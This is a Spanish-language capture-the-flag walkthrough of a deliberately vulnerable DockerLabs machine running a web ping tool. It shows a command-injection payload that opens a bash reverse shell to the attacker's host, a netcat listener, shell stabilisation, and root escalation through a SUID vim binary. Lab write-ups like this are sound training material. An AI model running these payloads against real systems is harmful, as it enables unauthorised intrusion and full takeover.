PingCTF DockerLabs (Easy)
Instalación
Cuando obtenemos el .zip
nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip pingctf.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_deploy.sh pingctf.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C
y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-29 03:12 EDT
Nmap scan report for packer.pw (172.17.0.2)
Host is up (0.000050s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Ping
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.61 seconds
Veremos simplemente un puerto 80
en el que aloja una pagina web, si entramos dentro veremos una pagina en la que es una herramienta de ping
dejandote realizar un ping
hacia una IP
o dominio
ya estaremos viendo cosas interesantes, por lo que vamos a realizar un poco de fuzzing
a ver que vemos.
Si probamos a concatenar comandos de esta forma:
127.0.0.1; ls
Info:
index.html
ping.php
Escalate user www-data
Vemos que funciona, por lo que vamos a probar a realizar una reverse shell
de esta forma:
127.0.0.1; bash -c "bash -i >& /dev/tcp/<IP>/<PORT> 0>&1"
Ahora si nos ponemos a la escucha antes de enviar el comando.
nc -lvnp <PORT>
Cuando enviemos el comando, si volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.177.129] from (UNKNOWN) [172.17.0.2] 60564
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@9c4611d5ea26:/var/www/html$ whoami
whoami
www-data
Veremos que ha funcionado, por lo que vamos a sanitizar la shell
.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate Privileges
Si listamos los permisos SUID
que tenemos en el sistema veremos lo siguiente:
find / -type f -perm -4000 -ls 2>/dev/null
Info:
3699283 56 -rwsr-xr-x 1 root root 55680 Dec 5 2024 /usr/bin/su
3699075 72 -rwsr-xr-x 1 root root 72792 May 30 2024 /usr/bin/chfn
3699206 40 -rwsr-xr-x 1 root root 40664 May 30 2024 /usr/bin/newgrp
3699142 76 -rwsr-xr-x 1 root root 76248 May 30 2024 /usr/bin/gpasswd
3699217 64 -rwsr-xr-x 1 root root 64152 May 30 2024 /usr/bin/passwd
3699309 40 -rwsr-xr-x 1 root root 39296 Dec 5 2024 /usr/bin/umount
3699201 52 -rwsr-xr-x 1 root root 51584 Dec 5 2024 /usr/bin/mount
3699081 44 -rwsr-xr-x 1 root root 44760 May 30 2024 /usr/bin/chsh
3717295 4032 -rwsr-xr-x 1 root root 4126400 Apr 1 20:12 /usr/bin/vim.basic
Vemos la ultima linea bastante interesante:
3717295 4032 -rwsr-xr-x 1 root root 4126400 Apr 1 20:12 /usr/bin/vim.basic
Sabemos que en los sistema de Linux
los puntos no establecen la extension en el sistema como en Windows
por lo que eso funciona como Vim
y tiene permisos SUID
, pero en este caso da algunos errores los cuales dificultan el poder explotar algo.
Si probamos de esta forma:
/usr/bin/vim.basic -c ':py3 import os; os.execl("/bin/bash", "bash", "-pc", "reset; exec bash -p")'
Info:
.............................<RESTO_DE_CODIGO>.....................................
E79: Cannot expand wildcards
E79: Cannot expand wildcards
bash-5.2# whoami
root
Veremos que con esto seremos root
, por lo que habremos terminado la maquina.
Last updated